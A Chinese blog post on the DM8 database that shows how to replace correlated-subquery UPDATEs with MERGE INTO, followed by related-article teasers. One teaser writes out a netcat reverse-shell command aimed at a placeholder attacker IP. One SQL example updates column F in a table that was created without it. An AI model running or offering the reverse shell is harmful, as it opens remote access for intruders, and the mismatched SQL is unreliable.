高级DBA手把手教你达梦8国产数据库级联更新语句用MergeInto合并代替方法(达梦官方手册无此内容)

高级DBA手把手教你达梦8国产数据库级联更新语句用MergeInto合并代替方法(达梦官方手册无此内容)

一、传统级联更新语句例子

举例:

表 1:T1

字段名类型
A时间类型
B字符类型
C字符类型
D字符类型
E字符类型

表 2:T2

字段名类型
A时间类型
B字符类型
C字符类型
D字符类型
E字符类型

2个表表名不一样,字段一致!

建表语句如下:

以下是用达梦 8 的语法生成的两个建表语句:

表 1(T1)建表语句:

```sql
CREATE TABLE T1 (
    A TIMESTAMP,
    B VARCHAR(255),
    C VARCHAR(255),
    D VARCHAR(255),
    E VARCHAR(255)
);

表 2(T2)建表语句:

CREATE TABLE T2 (
    A TIMESTAMP,
    B VARCHAR(255),
    C VARCHAR(255),
    D VARCHAR(255),
    E VARCHAR(255)
);

级联更新SQL 语句:

```sql
UPDATE T1 t1 SET 
    t1.A = IFNULL((SELECT A FROM T2 t2 WHERE 1=1 AND 
    t1.B = t2.B
        AND t1.C = t2.C AND t1.D = t2.D
        AND t1.E = t2.E LIMIT 1),'1970-01-01 00:00:00');

更新T1表A字段通过关联T2表级联更新语句,但是如果同时想更新多个字段!要怎么写?

案例如下:

CREATE TABLE T1 (
    A TIMESTAMP,
    B VARCHAR(255),
    C VARCHAR(255),
    D VARCHAR(255),
    E VARCHAR(255),
    F VARCHAR(255)
);
这是表1的建表语句;
CREATE TABLE T2 (
    A TIMESTAMP,
    B VARCHAR(255),
    C VARCHAR(255),
    D VARCHAR(255),
    E VARCHAR(255),
    F VARCHAR(255)
);





  -- 同时更新T1的A与F2个字段!
        
   UPDATE T1 t1 SET 
    t1.A = IFNULL((SELECT A FROM T2 t2 WHERE 1=1 AND 
    t1.B = t2.B
        AND t1.C = t2.C AND t1.D = t2.D
        AND t1.E = t2.E LIMIT 1),'1970-01-01 00:00:00'),
     t1.F=(
    SELECT F FROM T2 t2 WHERE 1=1 AND 
    t1.B = t2.B
        AND t1.C = t2.C AND t1.D = t2.D
        AND t1.E = t2.E LIMIT 1)   

二、MERGE INTO实现方法

以下是使用 MERGE INTO 实现的语句:

MERGE INTO T1 t1
USING (SELECT A, B, C, D, E FROM T2 WHERE 1=1) t2
ON (t1.B = t2.B AND t1.C = t2.C AND t1.D = t2.D AND t1.E = t2.E)
WHEN MATCHED THEN
    UPDATE SET t1.A = t2.A;

当T1关联T2,T2存在多条只取第1条写法 AND ROWNUM = 1

MERGE INTO T1 t1
USING (SELECT A, B, C, D, E FROM T2 WHERE 1=1) t2
ON (t1.B = t2.B AND t1.C = t2.C AND t1.D = t2.D AND t1.E = t2.E AND ROWNUM = 1)
WHEN MATCHED THEN
    UPDATE SET t1.A = t2.A;

这种写发可以一次性匹配(WHEN MATCHED THEN)之后,同时一起更新多个字段!
在达梦 8 中,可以使用 MERGE INTO 语句来实现级联更新。以下是根据你提供的语句生成的建表语句和对应的 MERGE INTO 实现:

假设我们有两个表:T1T2,它们具有相同的字段结构,字段名分别为 ABCDEF

建表语句如下:

CREATE TABLE T1 (
    A INT,
    B INT,
    C INT,
    D INT,
    E INT
);

CREATE TABLE T2 (
    A INT,
    B INT,
    C INT,
    D INT,
    E INT,
    F INT
);

对应的 MERGE INTO 实现如下:

MERGE INTO T1 t1
USING T2 t2
ON (t1.B = t2.B AND t1.C = t2.C AND t1.D = t2.D AND t1.E = t2.E)
WHEN MATCHED THEN
    UPDATE SET t1.A = t2.A, t1.F = t2.F;

上述 MERGE INTO 语句的作用是:根据指定的连接条件(t1.B = t2.B AND t1.C = t2.C AND t1.D = t2.D AND t1.E = t2.E),将 T2 表中的数据与 T1 表进行匹配。如果找到匹配的行,则将 T2 表中的 AF 字段的值更新到 T1 表中对应的行。

三、2种实现方法效率性能对比

通常情况下,MERGE INTO 的性能可能会更好一些,原因如下:

  1. MERGE INTO 可以在一个语句中完成插入、更新和删除操作,减少了数据库的读写次数。
  2. MERGE INTO 在执行 ON 条件后一次性更新,而 UPDATE 关联子查询写法需要选到一条做一次子查询,更新效率较低。

然而,性能的好坏还会受到多种因素的影响,例如表的结构、数据量、索引的使用情况等。在实际应用中,最好根据具体的场景和数据特点进行测试和比较,以确定哪种方法更适合。

如果你想进一步优化性能,可以考虑以下几点:

  1. 确保表上有适当的索引,以提高查询和更新的效率。
  2. 对于大数据量的操作,可以考虑分批次进行,避免一次性处理过多的数据。
  3. 根据实际情况调整 MERGE INTO 的参数,例如连接条件和更新操作的顺序。
  4. 对数据库进行性能调优,例如调整缓存大小、优化查询计划等。

最终的性能优化需要根据具体的数据库环境和业务需求来进行综合考虑和调整。

四、笔者简介

国内某一线知名软件公司企业认证在职员工:任JAVA高级研发工程师,大数据领域专家,数据库领域专家兼任高级DBA!10年软件开发经验!现任国内某大型软件公司大数据研发工程师、MySQL数据库DBA,软件架构师。直接参与设计国家级亿级别大数据项目!并维护真实企业级生产数据库300余个!紧急处理数据库生产事故上百起,挽回数据丢失所造成的灾难损失不计其数!并为某国家级大数据系统的技术方案(国家知识产权局颁布)专利权的第一专利发明人!

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626487.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

IDEA找不到database图标的解决方法

首先右边侧边栏和左边的侧边栏都看一下,确认没有数据库图标以后再参考下面方法。 第一步,打开设置,在插件里搜索database 第二步 安装好,点击确定 返回主页面,左边的侧边栏会出现database图标,点击号就可以…

C++自定义日期类的精彩之旅(详解)

在学习了C的6个默认成员函数后,我们现在动手实现一个完整的日期类,来加强对这6个默认成员函数的认识。 这是日期类中所包含的成员函数和成员变量: 构造函数 // 函数:获取某年某月的天数 inline int GetMonthDay(int yea…

2024精美UI小程序打印系统源码 PHP后端 附搭建教程+功能脑图

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 后端安装说明: 测试环境:NginxPHP7.4MySQL5.6 PHP安装扩展:sg11 网站运行目录设置为:/public 网站伪静态规则设置为:think…

C++基础语法之数组

一、一维数组 在C中,一维数组是一系列具有相同数据类型的元素的集合。它们在内存中是连续存储的,可以通过索引访问每个元素。 一维数组的声明形式如下: 数据类型 数组名[常量表达式] 例如: // 声明一个能存储10个整数的数组 in…

33三个启动菜单的区别辨析与本质探索

三个启动菜单的区别辨析与本质探索 你是否傻傻分不清以下三种启动菜单的本质到底是什么? 有一个看起来非常古老生硬,蓝色大背景,字母丑陋; 还有一个看起来老气横秋,黑底白字,像极了远古时期的电脑报废的样…

CSS2(一):CSS选择器

文章目录 1、CSS基础1.1 CSS简介1.2 CSS编写位置1.2.1 行内样式1.2.2 内部样式1.2.3 外部样式1.2.4 样式优先级 1.2.5 CSS代码风格 2、CSS选择器2.1、基本选择器2.1.1 通配选择器2.1.2 元素选择器2.1.3 类选择器2.1.4 ID选择器2.1.5 总结 2.2、CSS复合选择器2.2.1 交集选择器2.…

TailwindCSS在vite项目中的安装与使用

一、Tailwind CSS工作原理 Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他类名称模板,生成相应的样式,然后将它们写入静态 CSS 文件。它快速、灵活且可靠 — 具有零运行时间。 二、安装必要依赖 Vite创建的项目默认集成了Post…

【从零开始学习Redis | 第十一篇】快速介绍Redis持久化策略

前言: Redis 作为一种快速、高效的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景。然而,由于其特性是基于内存的,一旦服务器进程退出,内存中的数据就会丢失。为了解决这一问题,Redis 提供了持久…

二叉树——初解

二叉树 树树的概念树的性质 二叉树二叉树的概念二叉树的性质二叉树的实现方式数组构建左孩子右兄弟法构建指针构建 树 树的概念 在计算机科学中,树(Tree)是一种重要的非线性数据结构,它由若干节点(Node)组…

揿针在医保上叫什么?

点击文末领取揿针的视频教程跟直播讲解 创新型皮内针(揿针)——医保甲类产品 皮内针(揿针)技术属于重点推广的中医适宜技术,是将特制的小型针具固定于腧穴部位的皮内或皮下做较长时间留针的一种方法,称“…

商家利器!手机智能无人直播实时场景,轻松解决获客难、成本高难题

​​随着互联网的飞速发展,直播行业正在成为一种新型的商业模式。然而,许多商家在进行直播带货时面临着获客困难和高成本的挑战。为了解决这些问题,本文将介绍一种名为"自动直播"的功能,并详述如何利用手机实现实时场景…

2025考研专业课、英语、数学、政治视频大全,整理全了!

考研季又到了,备考的小伙伴们,你们准备好了吗? 时间管理 考研是一场与时间的赛跑,合理安排时间,让复习更高效! - 制定详细的学习计划,每天、每周、每月都有明确目标 - ‍♂️ 保持一定的学习…

AI日报:OpenAI全能模型GPT-4o发布;阿里推自动化视频剪辑神器;AI作品会侵权吗?调研结果...;零一万物开源Yi-1.5模型

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南,每天我们为你呈现AI领域的热点内容,聚焦开发者,助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解:https://top.aibase.com/ 1、干翻所有语音助手&#x…

2024年了,Covid19怎么发?PANoptosis程序性死亡,抓紧上车!

说在前面 大家众所周知的新冠,其实早在19年末,20年初的时候很多人都抓住了这个热点发到了好文章,Covid-19,这玩意可以做到让一个期刊从2分飙升到20分,且非预警期刊,不过现在退火了,今年是12.7分…

程序员就是管道工

程序是由指令和数据组成的。 指令是按照特定的顺序执行的,这些顺序好比水的流向。 要想让水高效地流向我们想要的地方,就要设计一个精良的管道系统,这好比算法。 剩下的就是修建管道了,你要知道各种管的型号、用途,然…

使用Nginx对网站资源进行加密访问并限制访问IP

你好呀,我是赵兴晨,文科程序员。 大家在工作中有没有遇到过这样的需求,新上的网站部署到生产服务器上,但是还没公开,只允许个别高层领导看。 思来想去,我想到了一个简单的方法,通过Nginx对网站…

论文解读:Self-Prompt Mechanism for Few-Shot Image Recognition

文章汇总 存在的问题 由于提示文本和图像特征之间固有的模态差异,常规的提示方法的性能受到限制。 动机 让视觉信息自己给自己提示 解决办法 SPM涉及到图像编码器跨空间和通道维度产生的固有语义特征的系统选择,从而产生自提示信息。随后&#xff…

滚珠螺杆在精密机械设备中如何维持精度要求?

滚珠螺杆在精密设备领域中的运用非常之广泛,具有精度高、效率高的特点。为了确保滚珠螺杆在生产设备中能够发挥最佳性能,我们必须从多个维度进行深入考量,并采取针对性的措施,以确保其稳定、精准地服务于现代化生产的每一个环节。…

KeyShot 2023.3 Pro for mac/win:完美融合3D渲染与动画制作

在当今数字化时代,视觉内容的创作和表现越来越受到重视。无论是产品设计、建筑规划,还是影视特效,都需要具备出色的3D渲染和动画制作工具来展现创意和想法。而作为业内领先的3D渲染和动画制作软件之一,KeyShot 2023.3 Pro在这个领…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…